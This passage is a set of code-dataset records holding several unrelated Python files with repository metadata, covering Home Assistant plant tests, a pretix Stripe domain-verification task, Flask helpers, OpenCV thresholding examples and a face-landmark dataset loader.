state = hass.states.get(f"plant.{plant_name}")
assert STATE_PROBLEM == state.state
hass.states.async_set(BRIGHTNESS_ENTITY, 600, {ATTR_UNIT_OF_MEASUREMENT: "lux"})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_OK == state.state
hass.states.async_set(BRIGHTNESS_ENTITY, 100, {ATTR_UNIT_OF_MEASUREMENT: "lux"})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_OK == state.state
def test_daily_history_no_data(hass):
dh = plant.DailyHistory(3)
assert dh.max is None
def test_daily_history_one_day(hass):
dh = plant.DailyHistory(3)
values = [-2, 10, 0, 5, 20]
for i in range(len(values)):
dh.add_measurement(values[i])
max_value = max(values[0 : i + 1])
assert 1 == len(dh._days)
assert dh.max == max_value
def test_daily_history_multiple_days(hass):
dh = plant.DailyHistory(3)
today = datetime.now()
today_minus_1 = today - timedelta(days=1)
today_minus_2 = today_minus_1 - timedelta(days=1)
today_minus_3 = today_minus_2 - timedelta(days=1)
days = [today_minus_3, today_minus_2, today_minus_1, today]
values = [10, 1, 7, 3]
max_values = [10, 10, 10, 7]
for i in range(len(days)):
dh.add_measurement(values[i], days[i])
assert max_values[i] == dh.max
| true | true |
f7260c42d605bb593528b63732665c5cf39180b2 | 59 | py | Python | core/python/spirit/parameters/__init__.py | SpiritSuperUser/spirit | fbe69c2a9b7a73e8f47d302c619303aea2a22ace | [
"MIT"
] | 2 | 2020-11-12T13:54:22.000Z | 2021-11-05T09:10:27.000Z | core/python/spirit/parameters/__init__.py | SpiritSuperUser/spirit | fbe69c2a9b7a73e8f47d302c619303aea2a22ace | [
"MIT"
] | null | null | null | core/python/spirit/parameters/__init__.py | SpiritSuperUser/spirit | fbe69c2a9b7a73e8f47d302c619303aea2a22ace | [
"MIT"
] | null | null | null | __all__ = ["gneb", "llg"]
from spirit.parameters import *
| 14.75 | 31 | 0.677966 | __all__ = ["gneb", "llg"]
from spirit.parameters import *
| true | true |
f7260dbc831f7d79b0b85a4ce2ff386597e672d5 | 226 | py | Python | src/robust_deid/sequence_tagging/dataset_builder/__init__.py | obi-ml-public/ehr_deidentification | c9deaf30b8317689d28a4267d15ec13baa9791cd | [
"MIT"
] | null | null | null | src/robust_deid/sequence_tagging/dataset_builder/__init__.py | obi-ml-public/ehr_deidentification | c9deaf30b8317689d28a4267d15ec13baa9791cd | [
"MIT"
] | null | null | null | src/robust_deid/sequence_tagging/dataset_builder/__init__.py | obi-ml-public/ehr_deidentification | c9deaf30b8317689d28a4267d15ec13baa9791cd | [
"MIT"
] | null | null | null | from .ner_labels import NERLabels
from .ner_dataset import NERDataset
from .label_mapper import LabelMapper
from .dataset_tokenizer import DatasetTokenizer
__all__=["NERLabels", "NERDataset", "LabelMapper", "DatasetTokenizer"] | 45.2 | 70 | 0.836283 | from .ner_labels import NERLabels
from .ner_dataset import NERDataset
from .label_mapper import LabelMapper
from .dataset_tokenizer import DatasetTokenizer
__all__=["NERLabels", "NERDataset", "LabelMapper", "DatasetTokenizer"] | true | true |
f7260dee0491f9cc625cee893dce44cee0a86ee8 | 1,461 | py | Python | src/pretix/plugins/stripe/tasks.py | NicsTr/pretix | e6d2380d9ed1836cc64a688b2be20d00a8500eab | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2020-04-25T00:11:00.000Z | 2020-04-25T00:11:00.000Z | src/pretix/plugins/stripe/tasks.py | NicsTr/pretix | e6d2380d9ed1836cc64a688b2be20d00a8500eab | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | src/pretix/plugins/stripe/tasks.py | NicsTr/pretix | e6d2380d9ed1836cc64a688b2be20d00a8500eab | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | import logging
from urllib.parse import urlsplit
import stripe
from django.conf import settings
from pretix.base.services.tasks import EventTask
from pretix.celery_app import app
from pretix.multidomain.urlreverse import get_event_domain
from pretix.plugins.stripe.models import RegisteredApplePayDomain
logger = logging.getLogger(__name__)
def get_domain_for_event(event):
domain = get_event_domain(event, fallback=True)
if not domain:
siteurlsplit = urlsplit(settings.SITE_URL)
return siteurlsplit.hostname
return domain
def get_stripe_account_key(prov):
if prov.settings.connect_user_id:
return prov.settings.connect_user_id
else:
return prov.settings.publishable_key
@app.task(base=EventTask, max_retries=5, default_retry_delay=1)
def stripe_verify_domain(event, domain):
from pretix.plugins.stripe.payment import StripeCC
prov = StripeCC(event)
account = get_stripe_account_key(prov)
if RegisteredApplePayDomain.objects.filter(account=account, domain=domain).exists():
return
try:
resp = stripe.ApplePayDomain.create(
domain_name=domain,
**prov.api_kwargs
)
except stripe.error.StripeError:
logger.exception('Could not verify domain with Stripe')
else:
if resp.livemode:
RegisteredApplePayDomain.objects.create(
domain=domain,
account=account
)
| 28.096154 | 88 | 0.718686 | import logging
from urllib.parse import urlsplit
import stripe
from django.conf import settings
from pretix.base.services.tasks import EventTask
from pretix.celery_app import app
from pretix.multidomain.urlreverse import get_event_domain
from pretix.plugins.stripe.models import RegisteredApplePayDomain
logger = logging.getLogger(__name__)
def get_domain_for_event(event):
domain = get_event_domain(event, fallback=True)
if not domain:
siteurlsplit = urlsplit(settings.SITE_URL)
return siteurlsplit.hostname
return domain
def get_stripe_account_key(prov):
if prov.settings.connect_user_id:
return prov.settings.connect_user_id
else:
return prov.settings.publishable_key
@app.task(base=EventTask, max_retries=5, default_retry_delay=1)
def stripe_verify_domain(event, domain):
from pretix.plugins.stripe.payment import StripeCC
prov = StripeCC(event)
account = get_stripe_account_key(prov)
if RegisteredApplePayDomain.objects.filter(account=account, domain=domain).exists():
return
try:
resp = stripe.ApplePayDomain.create(
domain_name=domain,
**prov.api_kwargs
)
except stripe.error.StripeError:
logger.exception('Could not verify domain with Stripe')
else:
if resp.livemode:
RegisteredApplePayDomain.objects.create(
domain=domain,
account=account
)
| true | true |
f7260ece4a1e3fc3b43d89b2b456333299b82c9d | 2,817 | py | Python | Q/questionnaire/serializers/serializers_ontologies.py | ES-DOC/esdoc-questionnaire | 9301eda375c4046323265b37ba96d94c94bf8b11 | [
"MIT"
] | null | null | null | Q/questionnaire/serializers/serializers_ontologies.py | ES-DOC/esdoc-questionnaire | 9301eda375c4046323265b37ba96d94c94bf8b11 | [
"MIT"
] | 477 | 2015-01-07T18:22:27.000Z | 2017-07-17T15:05:48.000Z | Q/questionnaire/serializers/serializers_ontologies.py | ES-DOC/esdoc-questionnaire | 9301eda375c4046323265b37ba96d94c94bf8b11 | [
"MIT"
] | null | null | null | ####################
# ES-DOC CIM Questionnaire
# Copyright (c) 2017 ES-DOC. All rights reserved.
#
# University of Colorado, Boulder
# http://cires.colorado.edu/
#
# This project is distributed according to the terms of the MIT license [http://www.opensource.org/licenses/MIT].
####################
from django.core.exceptions import ValidationError as DjangoValidationError
from rest_framework.exceptions import ValidationError as RestValidationError
from rest_framework import serializers
from uuid import UUID as generate_uuid
from Q.questionnaire.serializers.serializers_base import QListSerializer, QSerializer, QVersionSerializerField
from Q.questionnaire.models.models_ontologies import QOntology
from Q.questionnaire.q_utils import serialize_model_to_dict
from Q.questionnaire.q_constants import *
class QOntologySerializer(QSerializer):
class Meta:
model = QOntology
fields = (
'id',
'name',
'version',
'documentation',
'file',
'title',
"url",
'created',
'modified',
'ontology_type',
'is_registered',
'is_active',
'key',
'document_types',
)
# there is no need to explicitly add QUniqueTogetherValidator
# b/c that is done automatically in "QSerializer.get_unique_together_validators()"
# validators = [
# QUniqueTogetherValidator(
# queryset=QModelCustomization.objects.all(),
# # fields=('name', 'version'),
# )
# ]
version = QVersionSerializerField()
title = serializers.SerializerMethodField() # method_name="get_title"
document_types = serializers.SerializerMethodField(method_name="get_supported_document_types")
def get_title(self, obj):
return str(obj)
def get_supported_document_types(self, obj):
"""
returns the model_proxies of the current ontology that can be used to create documents
ie: those w/ the stereotype "document" and that are listed in SUPPORTED_DOCUMENTS
:param obj:
:return:
"""
supported_document_model_proxies = obj.model_proxies.filter(
is_document=True,
name__iregex=r'(' + '|'.join(["^{0}$".format(sd) for sd in SUPPORTED_DOCUMENTS["CIM2"]]) + ')',
).order_by("name")
return [
serialize_model_to_dict(
model_proxy,
include={
"title": str(model_proxy),
"name": model_proxy.name.lower()
},
exclude=["guid", "created", "modified", "ontology"]
)
for model_proxy in supported_document_model_proxies
]
| 34.777778 | 115 | 0.611999 | .models_ontologies import QOntology
from Q.questionnaire.q_utils import serialize_model_to_dict
from Q.questionnaire.q_constants import *
class QOntologySerializer(QSerializer):
class Meta:
model = QOntology
fields = (
'id',
'name',
'version',
'documentation',
'file',
'title',
"url",
'created',
'modified',
'ontology_type',
'is_registered',
'is_active',
'key',
'document_types',
)
on = QVersionSerializerField()
title = serializers.SerializerMethodField()
document_types = serializers.SerializerMethodField(method_name="get_supported_document_types")
def get_title(self, obj):
return str(obj)
def get_supported_document_types(self, obj):
supported_document_model_proxies = obj.model_proxies.filter(
is_document=True,
name__iregex=r'(' + '|'.join(["^{0}$".format(sd) for sd in SUPPORTED_DOCUMENTS["CIM2"]]) + ')',
).order_by("name")
return [
serialize_model_to_dict(
model_proxy,
include={
"title": str(model_proxy),
"name": model_proxy.name.lower()
},
exclude=["guid", "created", "modified", "ontology"]
)
for model_proxy in supported_document_model_proxies
]
| true | true |
f726102b761a9e6adbb75d3300ca03971c3cffb7 | 533 | py | Python | app/util.py | mkhumtai/6CCS3PRJ | c7d5bedf9529f6e2b7a57e102761716c11f961c8 | [
"MIT"
] | null | null | null | app/util.py | mkhumtai/6CCS3PRJ | c7d5bedf9529f6e2b7a57e102761716c11f961c8 | [
"MIT"
] | null | null | null | app/util.py | mkhumtai/6CCS3PRJ | c7d5bedf9529f6e2b7a57e102761716c11f961c8 | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
"""
Flask Boilerplate
Author: AppSeed.us - App Generator
"""
from flask import json
from app import app, db
from .common import *
# build a Json response
def response(data):
return app.response_class(response=json.dumps(data),
status=200,
mimetype='application/json')
def g_db_commit():
db.session.commit()
def g_db_add(obj):
if obj:
db.session.add(obj)
def g_db_del(obj):
if obj:
db.session.delete(obj)
| 16.65625 | 58 | 0.594747 |
from flask import json
from app import app, db
from .common import *
def response(data):
return app.response_class(response=json.dumps(data),
status=200,
mimetype='application/json')
def g_db_commit():
db.session.commit()
def g_db_add(obj):
if obj:
db.session.add(obj)
def g_db_del(obj):
if obj:
db.session.delete(obj)
| true | true |
f726102cba78d004ea78e8999b8ab8ecc337e74b | 968 | py | Python | arm_prosthesis/models/gesture.py | paulrozhkin/arm_prosthesis_raspberry | a643dc84109f1d516fa2ca50414f95f408d6da7d | [
"MIT"
] | 2 | 2021-11-08T01:52:36.000Z | 2021-11-08T01:52:38.000Z | arm_prosthesis/models/gesture.py | paulrozhkin/arm_prosthesis_raspberry | a643dc84109f1d516fa2ca50414f95f408d6da7d | [
"MIT"
] | null | null | null | arm_prosthesis/models/gesture.py | paulrozhkin/arm_prosthesis_raspberry | a643dc84109f1d516fa2ca50414f95f408d6da7d | [
"MIT"
] | 1 | 2020-11-08T16:45:23.000Z | 2020-11-08T16:45:23.000Z | from typing import List
from arm_prosthesis.models.gesture_action import GestureAction
class Gesture:
def __init__(self, uuid: str, name: str, last_time_sync: int, iterable: bool, repetitions: int,
actions: List[GestureAction]):
self._uuid = uuid
self._name = name
self._last_time_sync = last_time_sync
self._iterable = iterable
self._repetitions = repetitions
self._actions = actions
@property
def uuid(self) -> str:
return self._uuid
@property
def name(self) -> str:
return self._name
@property
def last_time_sync(self) -> int:
return self._last_time_sync
@property
def iterable(self) -> bool:
return self._iterable
@property
def repetitions(self) -> int:
return self._repetitions
@property
def actions(self) -> List[GestureAction]:
return self._actions
| 24.820513 | 100 | 0.615702 | from typing import List
from arm_prosthesis.models.gesture_action import GestureAction
class Gesture:
def __init__(self, uuid: str, name: str, last_time_sync: int, iterable: bool, repetitions: int,
actions: List[GestureAction]):
self._uuid = uuid
self._name = name
self._last_time_sync = last_time_sync
self._iterable = iterable
self._repetitions = repetitions
self._actions = actions
@property
def uuid(self) -> str:
return self._uuid
@property
def name(self) -> str:
return self._name
@property
def last_time_sync(self) -> int:
return self._last_time_sync
@property
def iterable(self) -> bool:
return self._iterable
@property
def repetitions(self) -> int:
return self._repetitions
@property
def actions(self) -> List[GestureAction]:
return self._actions
| true | true |
f726106467d8fad1a2a9e799965ebffea0070438 | 2,395 | py | Python | image-manipulation-processing/thresholding.py | mozbatman/Basic-Opencv-Example | e00aab203064e3e0f225c6aa062997aabe05ccdb | [
"MIT"
] | null | null | null | image-manipulation-processing/thresholding.py | mozbatman/Basic-Opencv-Example | e00aab203064e3e0f225c6aa062997aabe05ccdb | [
"MIT"
] | null | null | null | image-manipulation-processing/thresholding.py | mozbatman/Basic-Opencv-Example | e00aab203064e3e0f225c6aa062997aabe05ccdb | [
"MIT"
] | null | null | null | ## Thresholding = Giriş olarak verilen görüntüyü ikili görüntüye çevirmek için kullanılan bir yöntemdir. İkili görüntü (binary), görüntünün siyah ve beyaz olarak tanımlanmasıdır.
# Morfolojik operatörler gibi görüntü üzerindeki gürültüleri azaltmak veya nesne belirlemek gibi farklı amaçlar için kullanılır.
import cv2
import numpy as np
# Load our image as greyscale
image = cv2.imread('../images/gradient.jpg',0)
cv2.imshow('Original', image)
# Values below 127 goes to 0 (black, everything above goes to 255 (white)
ret,thresh1 = cv2.threshold(image, 127, 255, cv2.THRESH_BINARY)
cv2.imshow('1 Threshold Binary', thresh1)
# Values below 127 go to 255 and values above 127 go to 0 (reverse of above)
ret,thresh2 = cv2.threshold(image, 127, 255, cv2.THRESH_BINARY_INV)
cv2.imshow('2 Threshold Binary Inverse', thresh2)
# Values above 127 are truncated (held) at 127 (the 255 argument is unused)
ret,thresh3 = cv2.threshold(image, 127, 255, cv2.THRESH_TRUNC)
cv2.imshow('3 THRESH TRUNC', thresh3)
# Values below 127 go to 0, above 127 are unchanged
ret,thresh4 = cv2.threshold(image, 127, 255, cv2.THRESH_TOZERO)
cv2.imshow('4 THRESH TOZERO', thresh4)
# Resever of above, below 127 is unchanged, above 127 goes to 0
ret,thresh5 = cv2.threshold(image, 127, 255, cv2.THRESH_TOZERO_INV)
cv2.imshow('5 THRESH TOZERO INV', thresh5)
cv2.waitKey(0)
cv2.destroyAllWindows()
image = cv2.imread('../images/Origin_of_Species.jpg', 0)
cv2.imshow('Original', image)
cv2.waitKey(0)
# Values below 127 goes to 0 (black, everything above goes to 255 (white)
ret,thresh1 = cv2.threshold(image, 127, 255, cv2.THRESH_BINARY)
cv2.imshow('Threshold Binary', thresh1)
cv2.waitKey(0)
# It's good practice to blur images as it removes noise
image = cv2.GaussianBlur(image, (3, 3), 0)
# Using adaptiveThreshold
thresh = cv2.adaptiveThreshold(image, 255, cv2.ADAPTIVE_THRESH_MEAN_C,
cv2.THRESH_BINARY, 3, 5)
cv2.imshow("Adaptive Mean Thresholding", thresh)
cv2.waitKey(0)
_, th2 = cv2.threshold(image, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
cv2.imshow("Otsu's Thresholding", thresh)
cv2.waitKey(0)
# Otsu's thresholding after Gaussian filtering
blur = cv2.GaussianBlur(image, (5,5), 0)
_, th3 = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
cv2.imshow("Guassian Otsu's Thresholding", thresh)
cv2.waitKey(0)
cv2.destroyAllWindows() | 38.015873 | 179 | 0.746555 | cv2.imshow('1 Threshold Binary', thresh1)
ret,thresh2 = cv2.threshold(image, 127, 255, cv2.THRESH_BINARY_INV)
cv2.imshow('2 Threshold Binary Inverse', thresh2)
ret,thresh3 = cv2.threshold(image, 127, 255, cv2.THRESH_TRUNC)
cv2.imshow('3 THRESH TRUNC', thresh3)
ret,thresh4 = cv2.threshold(image, 127, 255, cv2.THRESH_TOZERO)
cv2.imshow('4 THRESH TOZERO', thresh4)
ret,thresh5 = cv2.threshold(image, 127, 255, cv2.THRESH_TOZERO_INV)
cv2.imshow('5 THRESH TOZERO INV', thresh5)
cv2.waitKey(0)
cv2.destroyAllWindows()
image = cv2.imread('../images/Origin_of_Species.jpg', 0)
cv2.imshow('Original', image)
cv2.waitKey(0)
ret,thresh1 = cv2.threshold(image, 127, 255, cv2.THRESH_BINARY)
cv2.imshow('Threshold Binary', thresh1)
cv2.waitKey(0)
image = cv2.GaussianBlur(image, (3, 3), 0)
# Using adaptiveThreshold
thresh = cv2.adaptiveThreshold(image, 255, cv2.ADAPTIVE_THRESH_MEAN_C,
cv2.THRESH_BINARY, 3, 5)
cv2.imshow("Adaptive Mean Thresholding", thresh)
cv2.waitKey(0)
_, th2 = cv2.threshold(image, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
cv2.imshow("Otsu's Thresholding", thresh)
cv2.waitKey(0)
blur = cv2.GaussianBlur(image, (5,5), 0)
_, th3 = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
cv2.imshow("Guassian Otsu's Thresholding", thresh)
cv2.waitKey(0)
cv2.destroyAllWindows() | true | true |
f726110264ab39655e21d921ad0fde90f93c841c | 15,517 | py | Python | face_alignment/FaceLandmarksDataset.py | Efreeto/face-alignment | d496866ac3d66c8353ba3e0305f16ac8a2ccc017 | [
"BSD-3-Clause"
] | 2 | 2018-03-22T01:46:49.000Z | 2020-11-06T06:58:01.000Z | face_alignment/FaceLandmarksDataset.py | Efreeto/face-alignment | d496866ac3d66c8353ba3e0305f16ac8a2ccc017 | [
"BSD-3-Clause"
] | null | null | null | face_alignment/FaceLandmarksDataset.py | Efreeto/face-alignment | d496866ac3d66c8353ba3e0305f16ac8a2ccc017 | [
"BSD-3-Clause"
] | null | null | null | import torch
from torch.utils.data import Dataset
from skimage import io, color, transform
import torchvision
import os, glob
import numpy as np
import random
from scipy import ndimage
from PIL import Image
import torch.nn.functional as F
from . import utils
######################################################################
# Transforms
# ----------
#
# One issue we can see from the above is that the samples are not of the
# same size. Most neural networks expect the images of a fixed size.
# Therefore, we will need to write some prepocessing code.
# Let's create three transforms:
#
# - ``Rescale``: to scale the image
# - ``RandomCrop``: to crop from image randomly. This is data
# augmentation.
# - ``ToTensor``: to convert the numpy images to torch images (we need to
# swap axes).
#
# We will write them as callable classes instead of simple functions so
# that parameters of the transform need not be passed everytime it's
# called. For this, we just need to implement ``__call__`` method and
# if required, ``__init__`` method. We can then use a transform like this:
#
# ::
#
# tsfm = Transform(params)
# transformed_sample = tsfm(sample)
#
# Observe below how these transforms had to be applied both on the image and
# landmarks.
#
class Rescale(object):
"""Rescale the image in a sample to a given size.
Args:
output_size (tuple or tuple): Desired output size. If tuple, output is
matched to output_size. If int, smaller of image edges is matched
to output_size keeping aspect ratio the same.
"""
def __init__(self, output_size):
assert isinstance(output_size, (int, tuple))
self.output_size = output_size
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
h, w = image.shape[:2]
if isinstance(self.output_size, int):
if h > w:
new_h, new_w = self.output_size * h / w, self.output_size
else:
new_h, new_w = self.output_size, self.output_size * w / h
else:
new_h, new_w = self.output_size
new_h, new_w = int(new_h), int(new_w)
img = transform.resize(image, (new_h, new_w))
# h and w are swapped for landmarks because for images,
# x and y axes are axis 1 and 0 respectively
landmarks = landmarks * [new_w / w, new_h / h]
img = img.astype('float32')
landmarks = landmarks.astype('float32')
return {'image': img, 'landmarks': landmarks}
class RandomHorizFlip(object):
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
if random.random() < 0.5:
image = np.fliplr(image).copy()
landmarks = landmarks.transpose()
landmarks[0] = image.shape[1] - landmarks[0]
landmarks = landmarks.transpose()
landmarks = utils.shuffle_lr(landmarks)
return {'image': image, 'landmarks': landmarks}
__imagenet_stats = {'mean': [0.485, 0.456, 0.406],
'std': [0.229, 0.224, 0.225]}
imagenet_pca = {
'eigval': torch.Tensor([0.2175, 0.0188, 0.0045]),
'eigvec': torch.Tensor([
[-0.5675, 0.7192, 0.4009],
[-0.5808, -0.0045, -0.8140],
[-0.5836, -0.6948, 0.4203],
])
}
class Lighting(object):
"""Lighting noise(AlexNet - style PCA - based noise)"""
def __init__(self, alphastd=0.1, eigval=imagenet_pca['eigval'], eigvec=imagenet_pca['eigvec']):
self.alphastd = alphastd
self.eigval = eigval
self.eigvec = eigvec
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
if self.alphastd == 0:
return image
alpha = image.new().resize_(3).normal_(0, self.alphastd)
rgb = self.eigvec.type_as(image).clone()\
.mul(alpha.view(1, 3).expand(3, 3))\
.mul(self.eigval.view(1, 3).expand(3, 3))\
.sum(1).squeeze()
return {'image': image.add(rgb.view(3, 1, 1).expand_as(image)), 'landmarks': landmarks}
class FaceColorJitter(object):
def __init__(self, brightness=0.4, contrast=0.4, saturation=0.4):
self.color_jitter = torchvision.transforms.ColorJitter(brightness, contrast, saturation)
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks'].copy()
to_pil = torchvision.transforms.ToPILImage()
img = to_pil(image)
img = self.color_jitter(img)
to_tensor = torchvision.transforms.ToTensor()
image = to_tensor(img).numpy().transpose(1,2,0)
return {'image': image, 'landmarks': landmarks}
class RandomRotation(object):
def __init__(self, maximum_angle=50., minimum_angle=5.):
self.maximum_angle = maximum_angle - minimum_angle
self.minimum_angle = minimum_angle
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
rotation_angle = (random.random() - 0.5) * 2 * self.maximum_angle
if rotation_angle > 0:
rotation_angle += self.minimum_angle
else:
rotation_angle -= self.minimum_angle
manual_theta = utils.transformation_matrix(-rotation_angle)
manual_theta_inv = utils.transformation_matrix(rotation_angle)
image_rot = ndimage.rotate(image, rotation_angle, reshape=True)
origin_org = ((image.shape[1] / 2.0, image.shape[0] / 2.0))
origin_rot = ((image_rot.shape[1] / 2.0, image_rot.shape[0] / 2.0))
landmarks_rot = landmarks - origin_org
landmarks_rot = np.asarray(np.dot(landmarks_rot, manual_theta_inv)[:, :2])
landmarks_rot = landmarks_rot + origin_rot
sample['image_rot'] = image_rot
sample['landmarks_rot'] = landmarks_rot
sample['theta'] = manual_theta
sample['angle'] = rotation_angle
return sample
class LandmarkCrop(object):
def __init__(self, resolution):
self.resolution = resolution
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
bbox = utils.bounding_box(landmarks)
center, scale = utils.center_scale_from_bbox(bbox)
image = utils.crop(image, center, scale, self.resolution)
# landmarks = landmarks - (bbox[0], bbox[1])
sample['image'] = image
sample['landmarks'] = landmarks
if 'image_rot' in sample: # if RandomRotation, crop around the rotated image
image, landmarks = sample['image_rot'], sample['landmarks_rot']
bbox = utils.bounding_box(landmarks)
center, scale = utils.center_scale_from_bbox(bbox)
image = utils.crop(image, center, scale, self.resolution)
# landmarks = landmarks - (bbox[0], bbox[1])
sample['image_rot'] = image
sample['landmarks_rot'] = landmarks
return sample
class CreateHeatmaps(object):
def __init__(self, output_size=64, n_features=68):
self.output_size = output_size
self.n_features = n_features
def __call__(self, sample):
landmarks = sample['landmarks']
center, scale = utils.center_scale_from_bbox(utils.bounding_box(landmarks))
heatmap = np.zeros((self.n_features, self.output_size, self.output_size))
for i in range(self.n_features):
new_pts = utils.transform(landmarks[i], center, scale, self.output_size)
heatmap[i] = utils.draw_gaussian(heatmap[i], new_pts, 1)
sample['heatmaps'] = torch.from_numpy(heatmap).view(self.n_features, self.output_size, self.output_size).float()
if 'image_rot' in sample: # if RandomRotation, crop around the rotated image
landmarks = sample['landmarks_rot']
center, scale = utils.center_scale_from_bbox(utils.bounding_box(landmarks))
heatmap = np.zeros((self.n_features, self.output_size, self.output_size))
for i in range(self.n_features):
new_pts = utils.transform(landmarks[i], center, scale, self.output_size)
heatmap[i] = utils.draw_gaussian(heatmap[i], new_pts, 1)
sample['heatmaps_rot'] = torch.from_numpy(heatmap).view(self.n_features, self.output_size, self.output_size).float()
return sample
class CreateHeatmaps2(object):
def __init__(self, output_size=64, n_features=68):
self.output_size = output_size
self.n_features = n_features
if self.n_features==68:
self.neigbor_list = [[2],[1,3],[2,4],[3,5],[4,6],[5,7],[6,8],[7,9],[8,10],
[9,11],[10,12],[11,13],[12,14],[13,15],[14,16],[15,17],
[16], [19], [18,20], [19,21], [20,22], [21],[24],[23,25],
[24,26],[25,27],[26],[29],[28,30],[29,31],[30,34],[33],
[32,34],[33,35],[34,36],[35],[],[37,39],[38,40],[],[40,42],
[37,41],[],[43,45],[44,46],[],[46,48],[43,47],[],[49,51],
[50,52],[51,53],[52,54],[53,55],[],[55,57],[56,58],[57,59],
[58,60],[59,49],[49],[61,63],[62,64],[63,65],[55],[65,67],
[66,68],[61,67]]
elif self.n_features==108:
self.neigbor_list = [[2],[1,3],[2,4],[3,5],[4,6],[5,7],[6,8],[7,9],[8,10],
[9,11],[10,12],[11,13],[12,14],[13,15],[14,16],[15,17],
[16,18],[17,19],[18,20],[19,21],[20,22],[21,23],[22,24],
[23,25],[24,26],[25,27],[26,28],[27,29],[28,30],[29,31],
[30,32],[31,33],[32],[],[34,36],[35,37],[36,38],[], [39,41],
[40,42],[41,43], [],[45],[44,46], [45,47], [46], [49],[48,50],
[],[50,52],[51],[],[53,55],[54,56],[],[56,58], [],[],[59,61],
[60,62],[],[62,64],[],[],[65,67],[66,68],[],[],[69,71],[70,72],[]
[54,55],[58,57],[],[60,61],[63,64],[],[81],[82],[79,83],[80,84],
[81,85],[82,86],[83,87],[84,88],[48],[52],[],[89,91],[90,92],
[91,93],[92,94],[93,95],[],[95,97],[96,98],[97,99],[98,100],[89,99],
[],[101,103],[102,104],[103,105],[],[105,107],[106,108],[101,107]]
def __call__(self, sample):
landmarks = sample['landmarks']
center, scale = center_scale_from_landmark(landmarks)
heatmap = np.zeros((self.n_features, self.output_size, self.output_size))
foo = np.zeros((self.output_size, self.output_size))
for i in range(self.n_features):
neighbors = self.get_neighbors(i)
num_neighbors = len(neighbors)
if num_neighbors == 0:
heatmap[i] = utils.draw_gaussian(heatmap[i], utils.transform(landmarks[i], center, scale, self.output_size), 1)
foo = utils.draw_gaussian(foo, utils.transform(landmarks[i], center, scale, self.output_size), 1)
else:
if num_neighbors == 2:
points = np.zeros((3,2))
points[0] = utils.transform(landmarks[neighbors[0]-1], center, scale, self.output_size).numpy()
points[1] = utils.transform(landmarks[i], center, scale, self.output_size).numpy()
points[2] = utils.transform(landmarks[neighbors[1]-1], center, scale, self.output_size).numpy()
else:
points = np.zeros((2,2))
points[0] = utils.transform(landmarks[neighbors[0]-1], center, scale, self.output_size).numpy()
points[1] = utils.transform(landmarks[i], center, scale, self.output_size).numpy()
heatmap[i] = utils.draw_gaussian2(heatmap[i], points, 1)
# foo = utils.draw_gaussian(foo, utils.transform(landmarks[i], center, scale, self.output_size), 1)
foo = utils.draw_gaussian2(foo, points, 1)
"""
from PIL import Image
im = Image.fromarray(foo*255)
im.show()
"""
heatmaps = torch.from_numpy(heatmap).view(1, self.n_features, self.output_size, self.output_size).float()
return {'image': sample['image'], 'landmarks': heatmaps}
def get_neighbors(self, landmark):
return self.neigbor_list[landmark]
class RandomCrop(object):
"""Crop randomly the image in a sample.
Args:
output_size (tuple or int): Desired output size. If int, square crop
is made.
"""
def __init__(self, output_size):
assert isinstance(output_size, (int, tuple))
if isinstance(output_size, int):
self.output_size = (output_size, output_size)
else:
assert len(output_size) == 2
self.output_size = output_size
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
h, w = image.shape[:2]
new_h, new_w = self.output_size
top = np.random.randint(0, h - new_h)
left = np.random.randint(0, w - new_w)
image = image[top: top + new_h,
left: left + new_w]
landmarks = landmarks - [left, top]
return {'image': image, 'landmarks': landmarks}
class ToTensor(object):
"""Convert ndarrays in sample to Tensors."""
def __call__(self, sample):
for key in sample:
if key in ['image', 'image_rot']:
sample[key] = torchvision.transforms.ToTensor()(sample[key])
elif key in ['filename', 'angle', 'heatmaps', 'heatmaps_rot']:
continue
else:
sample[key] = torch.from_numpy(sample[key]).float()
return sample
class FaceLandmarksDataset(Dataset):
"""Face Landmarks dataset."""
def __init__(self, path, type=1, transforms=None):
"""
Args:
path (string): Directory with all the images and landmarks.
transforms (callable, optional): Optional transform to be applied
on a sample.
"""
self.type = type
self.transforms = transforms
image_exts = ('*.jpg', '*.png')
self.images_list = []
for ext in image_exts:
self.images_list.extend(sorted(glob.glob(os.path.join(path, ext))))
assert self.images_list, "path does not contain images"
def __len__(self):
return len(self.images_list)
def __getitem__(self, idx):
image = io.imread(self.images_list[idx])
image = color.grey2rgb(image) # For some gray scale images
filename = self.images_list[idx]
basename = os.path.splitext(filename)[0]
if self.type == 1: # 300W, lfpw
landmarks = np.loadtxt(basename + '.pts', skiprows=3, comments='}')
elif self.type == 2: # land110
landmarks = np.loadtxt(basename + '.land', skiprows=1)
# landmarks = np.vstack((landmarks[0:32:2], landmarks[32:64], landmarks[88:108]))
elif self.type == 3: # FEI
landmarks = np.ones((68,2))
elif self.type == 4: # 8W
landmarks = np.loadtxt(basename + '.pts')
sample = {'image': image, 'landmarks': landmarks, 'filename': filename}
if self.transforms:
sample = self.transforms(sample)
return sample
| 40.620419 | 128 | 0.577431 | import torch
from torch.utils.data import Dataset
from skimage import io, color, transform
import torchvision
import os, glob
import numpy as np
import random
from scipy import ndimage
from PIL import Image
import torch.nn.functional as F
from . import utils
rn image
alpha = image.new().resize_(3).normal_(0, self.alphastd)
rgb = self.eigvec.type_as(image).clone()\
.mul(alpha.view(1, 3).expand(3, 3))\
.mul(self.eigval.view(1, 3).expand(3, 3))\
.sum(1).squeeze()
return {'image': image.add(rgb.view(3, 1, 1).expand_as(image)), 'landmarks': landmarks}
class FaceColorJitter(object):
